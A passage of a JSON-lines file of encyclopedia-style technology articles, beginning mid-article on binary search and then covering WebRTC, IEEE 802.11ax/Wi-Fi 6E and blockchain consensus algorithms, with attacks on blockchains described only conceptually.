than this fundamental difference, both share the same principle in terms of searching for an item. Search complexity is logarithmic in time. With binary search tree, each node in the tree has a left and a right branch for items of lesser and greater value respectively. This means that when the tree is searched, half the search space is discarded either to the left or right. However, a tree that's not balanced can result in worse performance. Even a balanced binary search tree is not necessarily optimal for searching compared to binary search. \n\nUnlike binary search, binary search trees can't be used to solve optimization problems. Binary search trees also take up more space compared to sorted arrays. Binary search trees have the advantage that insertion and deletion of items are also logarithmic in time, unlike sorted arrays where such operations are of complexity \\(O(n)\\).\n\n\n### Should we implement binary search iteratively or recursively?\n\nFor algorithms in general, there's no general rule that one is better than the other. Sandeep Gupta shows an example where recursive implementation is easier to read. \n\nWith respect to binary search, for large arrays, recursive code can lead to stack overflows. Likewise, recursive code can be slower due to the extra function calls. However, if the code can be refactored to tail recursive, speed and stack problems can be overcome with tail-call optimization. \n\nWhich one to adopt might ultimately be a matter of personal choice for developers. Adopt one that's easier for you to understand. There's nothing worse that a recursive code that doesn't have a proper terminating condition and hence goes into infinite recursion. \n\n\n### What are the variations of binary search?\n\nVariations include the following: \n\n    + Uniform binary search\n    + Boundary search\n    + Fibonacci search\n    + Exponential search\n    + Interpolation search\n    + Fractional cascading\n\n### What are the usual challenges for implementing binary search?\n\nTypical binary search maintains the left and right indices of the search space and calculates the midpoint. For the next step, these indices and midpoints are adjusted. If one is not careful, the search item may be on the boundary and may get missed out due to \"off-by-one\" error. Don't overconstrain the bounds. Relax them while adhering to the predicate. Also, when calculating the midpoint, take care that overflow and truncation errors are avoided or handled correctly.\n\nAlways test for corner cases. Will the code work for odd and even number of list items? Will it work for 1-item or 2-item lists? How will it behave if there are duplicate entries of the search term? Will it exit cleanly if the search term is not found? Does it work correctly when searching for real numbers? With real numbers, match of the search term should be based on either the number of steps or the relative difference between steps. Avoid using absolute difference since precision is limited when numbers are large. \n\nIf a recursive implementation is used, be aware how many recursive calls will be possible due to stack space limits.\n\n\n### Can you give examples of overflow and truncation errors?\n\nWhen calculating the midpoint on a large array, indices may be large values. Thus, `mid = (lo + hi)/2` may result in an overflow. Change this to `mid = lo + (hi-lo)/2`. On a 2-element array, with lo=0 and hi=1, midpoint will remain at 0 due to truncation. If the match is at index 1, this will result in an infinite loop. The correct code in such a case would be `mid = lo + (hi-lo+1)/2`. \n\n\n### What support do we have from languages to use or implement binary search?\n\nWhile it's possible to do one's own implementation, many languages provide libraries that simplify implementation: \n\n    + C++ Standard Template Library: lower\\_bound, upper\\_bound, binary\\_search, equal\\_range\n    + Java: Arrays.binary\\_search\n    + .NET Framework: Array.BinarySearch\n    + Python: bisect\n\n\n## Milestones\n\n1946\n\nJohn Mauchly mentions binary search in what is probably the first published reference. \n\n1960\n\nD.H.Lehmer publishes a method that can handle any \\(N\\), not just \\(N=2^{n}-1\\). \n\n1962\n\nH.Bottenbruch changes the algorithm so that comparisons are reduced at the expense of an extra iteration. \n\n1971\n\nA.K.Chandra of Stanford University suggests the uniform binary search.","meta":{"title":"Binary Search","href":"binary-search"}}
{"text":"# WebRTC\n\n## Summary\n\n\nWebRTC is a technology that brings real-time communications (RTC) capabilities to the web by natively making these part of a web browser. It also adopts open patent-free components to make this technology available to everyone. For both developers and users, WebRTC lowers the barrier to entry to develop and experience RTC in apps. WebRTC is expected to enable innovative RTC apps for the web.\n\nWebRTC signalling requires a server to set up the connection. Once set up, media and other data can be exchanged directly between peers. Only in some cases when a direct peer-to-peer connection is not possible, another server is needed to relay the media.\n\n## Discussion\n\n### Why was WebRTC invented?\n\nVoice and video calling is something that only telecom companies provided in the past. Later, with VoIP, these calls could be delivered over the internet by even non-telecom companies. Skype, Viber, WhatsApp and WeChat are some examples of voice or video calling services on the internet. But the problem was that to use them users needed to download apps or install plug-ins in their web browsers. For developers, it was difficult to add real-time capabilities to their products and maintain them for different platforms, devices and browsers. Licensing fees meant that only large corporations could afford them. \n\nWebRTC solves this by embedding real-time communication capabilities into web browsers. Since web users already have browsers, they need not install anything extra. Since WebRTC is part of the browser, developers need not build RTC capabilities from scratch. Developers can focus on building innovative applications powered by WebRTC technology. More importantly, building apps with RTC capabilities is no longer limited to VoIP experts. All web developers can get into it.\n\nWebRTC is open and uses no proprietary or patented components. Thus, even small firms or individuals can get into building WebRTC-based solutions.\n\n\n### How has been the adoption of WebRTC?\n\nAs of January 2018, WebRTC is supported by many major browsers: Chrome, Firefox, Edge, Safari, iOS Safari, Samsung Internet. Object RTC API is supported only by Edge. Opera supports WebRTC. On others such as Internet Explorer, or on older versions of browsers, plugins such as OpenTok can be used. \n\nIt's been said that WebRTC is already in the background and vendors are focusing on delivering effective use cases. This suggests that WebRTC as a technology is stable and mature. Among real-world solutions, RBS is using it to give personalized customer service. Fluke is using it for their remote teams and service staff to collaborate. Esurance uses it to expedite claims processing. At scale, Google Meet and Hangouts is serving 4.7 million minutes of audio/video per day. On Facebook Messenger, 400 million uses voice/video chat a month. Discord is serving 9.5 billion messages a month. Amazon Chime for videoconferencing serves 24.8 million minutes a month. Peer5 is making 1 billion WebRTC connections a day. \n\n\n### What are some use cases of WebRTC?\n\nAnything that can benefit from media-rich content, can leverage WebRTC: telehealth, remote classroom, online tutoring, remote interviews, online customer service, online collaboration, cloud-based video conferencing, webinars with audience interaction, adding voice/video capability to traditional social/chat apps, multiplayer gaming, and more. \n\nThe use of the low-latency data channel leads to more use cases. By allowing camera access, you can upload your profile picture to a social website. You could sign into a service biometrically. You could record an interview and send the video to a recruitment company. Two devices can get connected directly without needing to trust a server somewhere. Low-latency broadcasting, peer-assisted data delivery, a web-based torrent client and a streaming media server are more use cases with the data channel. \n\nWebRTC can be part of embedded devices such as set-top boxes, smart TVs, IP cameras, media-streaming dongles, etc. In other words, WebRTC has a place in the Internet of Things. Data channel can be used for alerts, collect sensor readings or control devices. \n\nRFC 7478 identifies typical WebRTC use cases and translates them into requirements. \n\n\n### What are the some benefits of using WebRTC?\n\nWebRTC is an open standardized browser-based technology free of patents. Developers can easily enhance their traditional web apps with RTC capabilities. Browsers that support WebRTC will include APIs to manage peer-to-peer connections, transport layer, media engines and codecs, thus removing most of the complexities for web developers. It's also easy to interwork with widely deployed SIP/H.323 systems by adding a gateway or supporting WebRTC. \n\nWebRTC video quality is better than Flash, besides the obvious cost savings in terms of licensing fees. Latency is reduced. Connection times are faster when JS WebSockets are used. Since media is served via browser, HTML5 can be used for customized UI designs. \n\nEncryption is mandated for all communications including signalling. TLS, DTLS and SRTP are used to secure communications. Since it's part of a browser, the installation process is secure. Access to camera or microphone requires explicit user permission. \n\n\n### What's the protocol stack of WebRTC?\n\nWebRTC uses UDP at the transport layer due to its real-time requirements. SRTP and SCTP are used at a higher layer to multiplex streams. For security, DTLS is used. Because peers can sit behind firewalls and NATs, ICE/STUN/TURN are needed. \n\nFor signalling, TLS and TCP are used. To exchange session parameters, SDP is used. \n\n\n### What are the standards that define WebRTC?\n\nWebRTC is standardized by two bodies: \n\n    + **IETF**: IETF specifies formats, protocols and security aspects that enable peer-to-peer WebRTC communications. This is the transport part, what goes \"on the wire.\" Visit WebRTC status page for current status.\n    + **W3C**: W3C specifies browser APIs that developers can use from their apps. This is the access and usage part. Visit WebRTC status page for current status.As of January 2018, WebRTC 1.0 standard isn't out yet. Browsers currently implement the proposed APIs with special prefixes. Meanwhile, Object RTC, which is being referred to as WebRTC 1.1, uses JS objects to provide low-level control of media parameters. While such control is possible with SDP, it would require browser changes. \n\nWebRTC does not standardize the signalling. Vendors are free to choose any signalling and there are plenty of options: Socket.io, WebSocket, XHR/XMLHttpRequest , SIP, XMPP or even custom signalling. Thus, WebRTC does not replace SIP, which is a common myth. In fact, RFC 7118 talks about SIP over WebSocket, which could be used by WebRTC.\n\nWhile signalling is not standardized, there's an IETF draft titled JavaScript Session Establishment Protocol that provides APIs to control the signalling.\n\n\n### Could you describe a typical call flow in WebRTC?\n\nParticipating peers exchange signalling data via a server to setup a direct peer-to-peer connection. Once such a connection is setup, real-time media traffic is exchanged directly without involving the server. Since peers often sit behind a firewall or a NAT device, they need to know the public IP address and port of the other peer for direct media exchange. This is done using the *ICE framework*. \n\nICE uses a *STUN* server to figure out the public address and port of peers. ICE first tries for UDP. If that fails, it attempts for HTTP over TCP. If that fails, it attempts HTTPS over TCP. If STUN succeeds, the media route is direct peer-to-peer. If direct peer-to-peer is not possible, ICE involves a *TURN* server. In this case, media is sent to the TURN server, which simply relays it to the other peer. STUN servers are typically used for asymmetric NAT and TURN servers for symmetric NAT. \n\n\n### As a developer, what do I need to build a WebRTC-enabled app?\n\nYour app should call essential WebRTC APIs: \n\n    + `MediaStream`: Access content streams from camera and microphone. A `MediaStream` object can contain one or more `MediaStreamTrack` objects. For example, audio is a track and video is another track synchronized to the audio. API `getUserMedia()` informs what the app requires, obtains user permissions and then accesses media streams.\n    + `RTCPeerConnection`: Gather and exchange local media capabilities and resolve addresses before sending and receiving audio/video content.\n    + `RTCDataChannel`: Send and receive non-media content, if your app deals with arbitrary data.You should decide on a method of signalling suited for your app. You will need a server to handle this signalling to set up peer-to-peer connections. You will also need to implement the ICE framework along with STUN and TURN servers. In the case of multiparty calls, you will also need SFUs and MCUs. If this sounds too complex, you should prefer a platform provider to take care of most server-side stuff: Tokbox, Twilio, Agora.io, Xirsys, Temasys, Kandy, etc. \n\n\n### What metrics should I look at to assess performance of a WebRTC application?\n\nThe following are some common metrics: \n\n    + **Bandwidth**: End-to-end bandwidth matters. Symptoms of low bandwidth include video freezing, frame-rate drops, choppy audio and call drops.\n    + **Latency**: A latency that's below 100 ms is usually not noticeable. High latency affects video more severely than audio. Symptoms of a high latency connection include lag in playback, video freezing and frame-rate drops.\n    + **Loss**: Packets are sometimes dropped or lost, particularly on wireless links. Symptoms include video freezing, frame-rate drops and choppy audio. In RTC, loss is often preferred over playback lag due to NACKs and retransmissions. With video, NACKs may be used and when those fail a full frame is requested, which incurs a high bandwidth cost. On a congested network, lowering the bitrate is a suitable approach.\n    + **Jitter**: This is common in high-latency networks or when packets traverse a number of hops. Symptoms are similar to packet loss but these symptoms are alleviated when the jitter buffer adapts to network conditions.\n\n### Are there any problems or challenges with WebRTC?\n\nThere have been some challenges with WebRTC. Many enterprises are still using legacy browsers including Internet Explorer, which don't support WebRTC. Multiparty video is a drain on battery and taxes processing power available on laptops or mobiles. Enterprise deployments are complex and often involve multiple servers that scale very differently. \n\nFrom a standardization perspective, developers are not happy that Object RTC is being proposed while WebRTC 1.0 hasn't been finalized yet. However, ORTC is an evolution of WebRTC 1.0 and parts of ORTC are already into WebRTC 1.0. \n\nAnother challenge may be that different browsers support different video codecs, leading to interoperability problems. \n\n## Milestones\n\n2009\n\nThe idea for WebRTC is born in Google to bring real-time capabilities to the web with built-in support from browsers. Alternatives at the time were Flash, which was low quality and needed server-side license; or plug-ins that needed to be developed for various browsers/platforms. Moreover, users needed to download and install plugins or custom apps. \n\nMay  \n2010\n\nReal-time communications need audio/video codecs. In the spirit of openness on the web, Google releases WebM as a patent-free alternative to H.26x codecs. WebM can be traced back to the work of On2 Technologies that Google acquired in 2009. WebRTC uses codecs and media frameworks that are free of patents and royalties. \n\nOct  \n2010\n\nA one-day workshop is organized to kickoff the standardization process. Standardization involves IETF to define the formats and protocols, and W3C to define APIs that web apps can use on the browser side. \n\nMay  \n2011\n\nGoogle open sources WebRTC under a permissive BSD license. Thus, the term \"WebRTC\" often refer to the standard and also the Google's open source project hosted at webrtc.org. \n\nNov  \n2011\n\nChrome browser adds WebRTC support. \n\n2013\n\nFirefox starts supporting WebRTC. Chrome and Firefox on Android also start supporting WebRTC. \n\nNov  \n2017\n\nW3C releases WebRTC 1.0: Real-time Communication Between Browsers as a Candidate Recommendation. \n\n2020\n\nIn the year of the COVID-19 pandemic, the use of WebRTC from within Chrome browser sees 100X increase. During this year, Chrome also becomes 30% more battery friendly for video calling. \n\nJan  \n2021\n\nW3C publishes WebRTC 1.0: Real-time Communication Between Browsers as a W3C Recommendation. Beyond what's been standardized, improvements continue. Video codec **AV1** that saves up to 50% bandwidth is becoming available in WebRTC implementations. **WebRTC NV** is looking into supplementary APIs to enable new use cases. These are expected to complement 5G and WebAssembly technologies.","meta":{"title":"WebRTC","href":"webrtc"}}
{"text":"# IEEE 802.11ax\n\n## Summary\n\n\nIEEE 802.11ax standard is an evolution of 802.11ac. Unlike previous standards that focused mainly on increasing raw data rates, 802.11ax focuses on better efficiency, capacity and performance. This translates to a 4x improvement in average throughput per user and better user experience. This is true even for dense indoor/outdoor deployments. Changes that enable these include higher modulation, more OFDM sub-carriers, and longer OFDM symbol; multiplexing users via MU-MIMO, beamforming and OFDMA; scheduling uplink instead of contention; and mitigating co-channel interference via BSS colour codes. \n\nIEEE 802.11ax is also called *Wi-Fi 6* or *High Efficiency WLAN (HEW)*. While 802.11ac used only the 5 GHz band, 802.11ax addresses both 2.4 and 5 GHz bands, thus staying backward compatible and becoming the migration path for 802.11n and 802.11ac devices. With the extension *Wi-Fi 6E*, the standard supports 6 GHz bands.\n\n## Discussion\n\n### Why do we need 802.11ax?\n\nIEEE 802.11ac increased raw data rates but left some problems unsolved. Uplink access is mainly based on contention. When there are many devices in a dense network, or multiple access points closely deployed, there can be collisions, backoffs and therefore reduced effective throughput. User experience is affected for all devices. \n\nThe common use cases where this happens is at crowded public hotspots (airports) or event venues (football stadiums). It could also happen in apartment complexes, schools and educational campuses. Also, it's expected that by 2022 number as many as 50 Wi-Fi devices may be present in a smart home. This growth is mainly due to appliances and gadgets becoming IoT-enabled. IEEE 802.11ax aims to solves these problems from the perspective of overall network capacity utilization, efficiency, performance, user experience and reduced latency. \n\n\n### What are the main PHY changes 802.11ax brings compared to earlier 802.11 amendments?\n\n802.11ax supports both 2.4 GHz and 5GHz bands. Therefore it's backward compatible with both 802.11n and 802.11ac, meaning that legacy clients can also connect to an 802.11ax AP, and vice versa. 802.11ax uses 4x larger FFT by increasing the number of subcarriers but also narrowing the subcarrier spacing, thus preserving channel bandwidth. OFDM symbol duration and cyclic prefix are increased for better performance in outdoor environments. For higher data rate for indoor environments, 1024-QAM and shorter cyclic prefix are introduced. \n\nWhile in 802.11ac Wave 2 only 4 simultaneous MU-MIMO streams were possible, this is increased to 8. MU-MIMO in the uplink is introduced while in 802.11ac Wave 2 this was possible only in the downlink. AP will send trigger frames to coordinate uplink MU-MIMO.\n\nOFDMA is introduced for the first time in Wi-Fi, similar to how it's done in 4G cellular. With OFDMA, multiple users can be transmitting at the same time, each using its allocated set of OFDM subcarriers. Subcarriers are grouped in *Resource Units (RU)*, which are allocated.\n\n\n### What are the main MAC changes 802.11ax brings compared to earlier 802.11 amendments?\n\nSince 802.11ax is meant to solve the use case of high density networks, uplink access is scheduled and not based on contention. A new feature named *Target Wake Time (TWT)* is used to let stations sleep, save power and wake up at scheduled times. AP can thus do scheduling a way that minimizes contention among stations. This can also be seen as a load balancing technique to ease congestion. \n\nIn dense networks, a neighbouring AP can cause cochannel interference. Stations on the overlapping areas will backoff excessively. This is alleviated in 802.11ax by a feature called *BSS Color*. This helps stations to identify if transmission is from another network and thereby take the right action. \n\n\n### For multiplexing users on the uplink path, we have both MU-MIMO and OFDMA. How are they different?\n\nMU-MIMO increases overall capacity since multiple streams are transmitted at the same time. This is ideal for bandwidth-demanding applications. Transmission to each user is targeted via beamforming. OFDMA does not increase capacity but uses it more efficiently by allocating subcarriers to users based on their needs. With OFDM, a user would occupy all subcarriers for a given time even if that user doesn't have much to send. With OFDMA, multiple users can be multiplexed at the same time, each using different sets of subcarriers. This implies that OFDMA is suited for low-bandwidth applications. Users will also experience less latency with OFDMA. With OFDMA, multiple users with varying bandwidth needs can be scheduled at the same time. \n\nThus, MU-MIMO and OFDMA complement each other. In typical deployments, performance of MU-MIMO in 802.11ac Wave2 was found to depend on distance between AP and clients, channel selection, antenna performance, presence and capability of other clients, etc. Some have noted that MU-MIMO may even result in lower throughput. \n\n\n### What is Wi-Fi 6E?\n\nWi-Fi 6 is the commercial term for IEEE 802.11ax in 2.4 and 5 GHz spectra. Operation in 6 GHz, first announced in 2020, is known as Wi-Fi 6E. \n\nWi-Fi 6E brings the main features of Wi-Fi 6 to 6 GHz including OFDMA, Target Wake Time and WPA3. While Wi-Fi 6 can deliver a maximum data rate of 9.6 Gbps (1.5 Gbps/device), Wi-Fi 6E can deliver 9.6 Gbps (2.3 Gbps/device). Latency with Wi-Fi 6E can be below 1 ms. \n\nUnlike at 2.4/5 GHz spectra, there are less interfering devices at 6 GHz. The new spectrum brings greater capacity. It opens up wide contiguous spectrum to enable high-bandwidth ultra-low-latency applications. These include online gaming, virtual reality, high-definition video calls, IoT device management, gigabit connectivity at event venues, and more.  Wi-Fi 6E is expected to power 5G services. Indoors, where GPS is not accurate, Wi-Fi 6E can enable more precise location tracking for applications such as asset tracking, emergency services, and keyless entry. \n\n\n### What bands are supported by Wi-Fi 6 and Wi-Fi 6E?\n\nIEEE 802.11ax operates in bands 2.4/5/6 GHz. At 2.4/5 GHz bands, the channels are the same as in IEEE 802.11n/ac. However, 802.11ax uses the spectrum more efficiently due to OFDMA. \n\nAt 6 GHz spectrum (5925-7125 MHz), 1.2 GHz of contiguous unlicensed spectrum is available. Wi-Fi 6E adds capacity with fourteen 80 MHz channels or seven 160 MHz channels. The spectrum is composed of four channel allocations in the US, termed as U-NNI-5 to U-NNI-8, given Unlicensed National Information Infrastructure (U-NII). U-NNI-5 (5925-6425 GHz) is also allocated in the EU. \n\nDeployments at 6 GHz can be at very low power, low power or standard power with maximum EIRP of 14, 30 and 36 dBm respectively. Low power operation is only for indoor coverage. Standard power operation is at U-NNI-5 and U-NNI-7 and must be controlled by an Automated Frequency Coordination (AFC) system. This is to mitigate interference to and from incumbent devices in the vicinity. AFC is not required for very low power and low power operations.  \n\n\n### What are possible implementation challenges for 802.11ax?\n\nOFDM subcarrier spacing narrower at 78.125 kHz, which implies that oscillators must have better phase noise performance and RF frontends must have better linearity. Since 1024-QAM is possible, EVM requirements are tighter. Good performance requires tight frequency synchronization and clock offset correction. Stations must also maintain frame timing based on their clocks since their transmissions must be in coordinated precisely as noted in trigger frames. \n\n## Milestones\n\nMay  \n2013\n\nWithin the IEEE, High Efficiency WLAN (HEW) Study Group is formed. A year later, HEW Task Group is formed to start the development of 802.11ax standard. \n\nOct  \n2016\n\nQuantenna announces world's first 802.11ax chipset for APs. Named QSR10G-AX, it supports 8 streams at 5 GHz and 4 streams at 2.4 GHz. \n\nFeb  \n2017\n\nQualcomm announces chips IPQ8074 (for routers/APs) and QCA6290 (for clients). It's expected that router devices will come out first (end 2017) followed by client devices (2018). \n\nAug  \n2017\n\nBroadcom announces three chips as part of its 802.11ax family without support for MU-MIMO in the uplink. \n\nSep  \n2017\n\n**Draft 2.0** of 802.11ax is released. This may be incompatible with Draft 1.0 released in 2016 and mixing these two implementations within a Wi-Fi network might result in sub-optimal performance. By now, chipsets are already available from Broadcom, Qualcomm, and Quantenna. Meanwhile, Asus shows off an 802.11ax router that can deliver 4.8 Gbps but this is not yet in commercial availability. \n\nJan  \n2018\n\nIntel announces that it will release 802.11ax chipsets some time this year. The chipsets will be for 2x2 and 4x4 home routers and gateways, supporting as many as 256 devices sharing bandwidth simultaneously. \n\nJun  \n2018\n\nAsus launches two 802.11ax routers, one of them capable of aggregate peak throughput of 11 Gbps to cater to high-bandwidth multiplayer gaming. \n\nFeb  \n2019\n\nSamsung Galaxy S10 becomes the first smartphone to support Wi-Fi 6. \n\nSep  \n2019\n\nTo certify devices for Wi-Fi 6, Wi-Fi Alliances launches **Wi-Fi Certified 6** program. Subsquently, Samsung Galaxy S10 becomes the first smartphone to be certified under this program. Also in September, Apple iPhone 11 starts supporting Wi-Fi 6. \n\nNov  \n2019\n\n**Draft 6.0** is released. \n\nDec  \n2019\n\nIEEE announces that 802.11ax meets requirements for 5G Indoor Hotspot and Dense Urban test environments of the enhanced Mobile Broadband (eMBB) usage scenario. This includes minimum acceptable peak performance, average and cell-edge user experience, mobility performance and latency performance. \n\n2020\n\nThis year sees the first developments of **Wi-Fi 6E**. Wi-Fi Alliance announces the branding early in the year. Spectrum at 6 GHz is opened up in America, Europe and Asia. First chips are demonstrated. Actual products appear on the market in 2021, with Wi-Fi Alliance launching a certification program in January 2021. In 2022, we expect 350 million Wi-Fi 6E devices to enter the market and 15% of all 802.11ax shipments will be Wi-Fi 6E. \n\nMay  \n2021\n\nIEEE publishes the standard **IEEE 802.11ax-2021** as Amendment 1 of the IEEE 802.11-2020 standard. The amendment was formally approved towards the end of 2020 and early 2021.","meta":{"title":"IEEE 802.11ax","href":"ieee-802-11ax"}}
{"text":"# Blockchain Consensus\n\n## Summary\n\n\nBlockchain is a distributed peer-to-peer technology. All nodes in the network have to agree on the state of chain and what are its valid blocks. Since there's no centralized control, and nodes cannot be trusted, reaching this agreement is not trivial. Every blockchain implementation must therefore define what's called a *consensus algorithm* to arrive at an agreement. This is also called *consensus protocol*. \n\nConsensus is not exclusive to blockchain. It's a classical problem in distributed computer systems. In fact, \n\n> Any algorithm that relies on multiple processes maintaining common state relies on solving the consensus problem.\n\n## Discussion\n\n### What's the purpose of a blockchain consensus algorithm?\n\nA permissionless blockchain is open. Anyone can be a node and remain anonymous. It's therefore possible for a node to tamper transactions and include them in a new block. Thus, the blockchain can end up with what we call a *fork*. For example, one fork in the chain contains the tampered transaction while the other contains only valid transactions. The purpose of a consensus algorithm is to avoid such forks so that everyone agrees to a single version of truth. \n\nWith a permissioned blockchain, although participating nodes are known and chosen, consensus is still required because we can't assume that the nodes are trustworthy.\n\nFrom the general viewpoint of distributed systems, consensus is a challenge when nodes are either faulty (gone rogue) or unable to communicate reliably. The former is called *Byzantine Generals Problem* and the latter is called *Two Army Problem*. A consensus algorithm must therefore be fault tolerant. \n\n\n### How does Bitcoin achieve consensus?\n\nBitcoin uses *Proof of Work (PoW)* for consensus. Before a new block can be added to the chain, a node must perform an expensive computation to arrive at a valid hash value for the block. All other nodes receiving this block can then quickly verify that this block is indeed a valid one. A valid block is therefore proof that the node submitting it has done the necessary work. \n\nIn fact, all nodes do this work in parallel but whoever is fastest (has most compute power) will win the race. The winning node is rewarded with *bitcoins*. For this reason, the work done by nodes is called *mining* and the nodes themselves are called *miners*. We can therefore say that consensus in Bitcoin network is achieved via mining. \n\nConsensus is achieved by a simple rule that only the longest fork will survive. In other words, the fork on which most compute power has been expended (PoW) will survive. If two blocks are mined at the same time, there will be a fork. PoW therefore intentionally slows the mining process so that forks don't happen faster than they are discarded by the network. \n\n\n### What are some possible attacks on blockchain?\n\nThe idea of any attack is to prevent nodes from reaching consensus or mislead them to a wrong consensus. Here are a few common attacks:\n\n    + Denial of Service (DoS): Sending nodes lots of transactions will prevent them from working on legitimate ones. Distributed DoS is a variant of this.\n    + 51% Attack: If the attacker controls more than 50% of the nodes, then he can influence the consensus process. He can include modified transactions, cause a fork and make that fork the longest. Even with less than 50% controlling power, some attacks can happen with 50% success rate.\n    + Double-Spend: Applicable to cryptocurrencies, this is a case when the same coin is used for multiple transactions.\n    + Sybil Attack: This happens when a node assumes multiple identities and tries to pass itself off as multiple nodes in the network.\n    + Cryptographic Attack: Quantum computing will bring computing power 100 million times that of conventional computers. This shifts the balance in favour of nodes with such power.\n    + Byzantine Attack: A single or few nodes prevent consensus.Bitcoin-specific attacks are noted in a 2017 survey paper. \n\n\n### What are the different types of blockchain consensus algorithms out there?\n\nThere are plenty of them and the following are some well-known ones:\n\n    + **Proof of Work (PoW)**: An expensive computation is required and this can be verified by other nodes. Nodes can remain anonymous and anyone can join. PoW is synonymous with mining. Systems that don't use PoW can be said to be doing *virtual mining*.\n    + **Proof of Stake (PoS)**: Stakeholders are those having coins or smart contracts on the blockchain. Only they can participate. Those with high stakes are chosen to validate new blocks. They are rewarded with coins. While coins are \"mined\" in PoW, they are \"minted\" in PoS. Blocks may still need to be signed off by other nodes before added to the chain.\n    + **Delegated Proof of Stake (DPoS)**: In PoS, those with large stakes can take control. In DPoS, delegated nodes represent the interests of smaller nodes.Further examples of consensus algorithms are proof-of-activity, proof-of-burn, proof-of-capacity, Transaction As Proof Of Stake (TAPOS), delegated Byzantine Fault Tolerance (dBFT), Practical Byzantine Fault Tolerance (PBFT), Federated Byzantine Agreement (FBA), and proof-of-weight. \n\n\n### Could you explain Intel's proposed Proof of Elapsed Time (PoET)?\n\nProof-of-work wastes electricity to do mining. Essentially, the idea is to delay the creation of new blocks so that the network has enough time to avoid forking. Intel's idea is to mimic PoW by guaranteeing that each node has waited long enough before creating a new block, as if they were \"doing work\". They achieve this by building in their hardware chips a *trusted execution environment (TEE)* that adds this delay. It's claimed that proof-of-elapsed-time can scale to thousands of nodes. \n\nOne criticism of this consensus is that nodes have to put their trust in Intel, who is supplying the chips. This is against the ethos of blockchains that aims to avoid centralization in an trustless environment. \n\n\n### Could you name the consensus algorithms used by some well-known blockchains?\n\nBitcoin uses PoW and so does Ethereum, Litecoin and Dogecoin. Since PoW is computationally expensive, Ethereum plans to move to PoS sometime in 2018. Tendermint, BlackCoin and NXT use PoS. Peercoin and Decred use PoS while Bitshares, Steemit and EOS use DPoS. \n\nHyperledger uses PBFT while Stellar and Ripple use FBA. MultiChain uses a variant of PBFT where there's only one validator per block and multiple validators work in round-robin fashion. Chinese platform NEO uses Delegated BFT. \n\nProof-of-authority is used by POA.Network and Ethereum Kovan testnet. Proof-of-weight is used by Algorand, Filecoin and Chia. \n\n\n### What are some essential criteria of a blockchain consensus algorithm?\n\nThe most important one is perhaps decentralization. In this aspect, Bitcoin's PoW does better than other consensus protocols. Consensus algorithms have to consider scalability, privacy, security and fault tolerance. Security implies resistance to attacks. Node identity management, consensus finality, correctness proofs and assumptions about network synchrony are other parameters to consider. \n\nThe algorithm must scale with number of nodes/clients. Bitcoin's PoW can support thousands of nodes/clients but suffers in terms of performance. BFT can support thousands of clients at better performance but is limited to less than 20 nodes. Performance relates to throughput (transactions per second or tps) and latency. It must be efficient in terms of power consumption, or in general, consumption of any resource. \n\nCurrent protocols often involve tradeoffs. PoS is more energy efficient and achieves higher throughput than PoW but is more centralized and vulnerable to Byzantine faults. Prometheus and Matrix are newer algorithms that aim to combine the best of both PoW and PoS.\n\n\n### I've heard of \"blockchain killers\". What are these?\n\n**PARSEC** is a blockchain-less open source, fully asynchronous, leaderless algorithm for reaching consensus in the presence of Byzantine faults in an asynchronous network. Algorithm correctness has been proved provided less than a third of the participating nodes are faulty. This model matches an agreement with probability of one. \n\nDirected Acyclic Graph (DAG) is a graph of nodes with topological ordering and no loops. DAGs are inspiring the next generation of \"blockchains\". Iota, Hashgraph and Nano are examples of DAG.\n\n**Tangle** is the DAG consensus algorithm used by Iota. To generate an Iota transaction, a node has to validate two previous transactions it's received. \n\n**Nano** uses block-lattice as its structure. Every transaction is made of send block on the sender's chain and receive block on the receiver's chain. \n\n**Hashgraph** builds a directed graph of events rather the traditional chain of blocks. Consensus is via gossip: nodes tell neighbours about events, which are ordered by timestamps. Hashgraph is claimed to be fair, faster, provable and resistant to Byzantine attacks. It's also called *Swirlds hashgraph consensus algorithm*. It may not suit open public networks. \n\n## Milestones\n\n1982\n\nResearchers at the SRI International in California publish a paper titled \"The Byzantine Generals Problem\". The papers starts by stating that \"reliable computer systems must handle malfunctioning components that give conflicting information to different parts of the system\". The paper then abstracts this scenario for distributed computer systems. \n\n1993\n\nResearchers at the IBM Almaden Research Center propose the use of *pricing functions* and *hash functions* to tackle the problem of spam emails. The idea is that an email sender must be required to perform a moderately expensive computation and the recipient can verify easily that such a computation has been performed before accepting the email. This will deter spammers. The idea of modern proof-of-work can be traced back to this research. \n\n1997\n\nAdam Black invents Hashcash, a PoW system to tackle email spam and denial-of-service attacks. Hashcash can be credited with making PoW popular. \n\nFeb  \n1999\n\nAt the 3rd Symposium on Operating Systems Design and Implementation, researchers from the MIT Laboratory for Computer Science present \"Practical Byzantine Fault Tolerance\" as a solution to the Byzantine Generals Problem. Unlike previous solutions, this works in asynchronous systems and improves response times. This is further detailed in an ACM paper published in 2002. \n\n2009\n\nBitcoin is introduced as a peer-to-peer cryptocurrency. It uses *Proof of Work (PoW)* for consensus. \n\n2012\n\nSince PoW used by Bitcoin is wasteful, *Proof of Stake* is proposed as a more energy efficient alternative. This later gives birth to the Peercoin network. PoS however suffers from the \"Nothing-at-stake\" problem. \n\nDec  \n2013\n\nDaniel Larimer, founder of BitShares, proposes a new type of PoS in which stakeholders elect nodes who can sign the blocks. This is the genesis of *Delegated Proof of Stake* consensus. Elected nodes are called *witnesses* and they are trusted to behave correctly. The voting process is decentralized and fair. DPoS scales well because nodes need not wait for a minimum number of untrusted nodes to verify a block, which needs to be only signed by one or more trusted nodes. \n\nAug  \n2015\n\nVlad Zamfir of Ethereum announces that they have been working on a new consensus called *Casper*. It's a PoS type of consensus. Casper has mechanism in place to punish nodes that try to do exploit the \"Nothing-at-stake\" situation. Ethereum is expected to switch from PoW to PoS in 2018. \n\nApr  \n2016\n\nIntel announces details of Sawtooth Lake project, a platform for running distributed ledgers. This talks about two consensus protocols: (a) *Proof of Elapsed Time (PoET)* that avoids the energy inefficiency of PoW. (b) *Quorum Voting* that adapts PBFT protocol and uses it for apps that require immediate transaction finality. In January 2018, Hyperledger Sawtooth 1.0 is released and PoET is part of it. \n\nMay  \n2018\n\nMaidSafe announces a new consensus protocol called *PARSEC (Protocol for Asynchronous, Reliable, Secure and Efficient Consensus)* to power its SAFE Network. PARSEC is a \"completely decentralised, open source, highly asynchronous, Byzantine Fault Tolerant consensus mechanism\".","meta":{"title":"Blockchain Consensus","href":"blockchain-consensus"}}
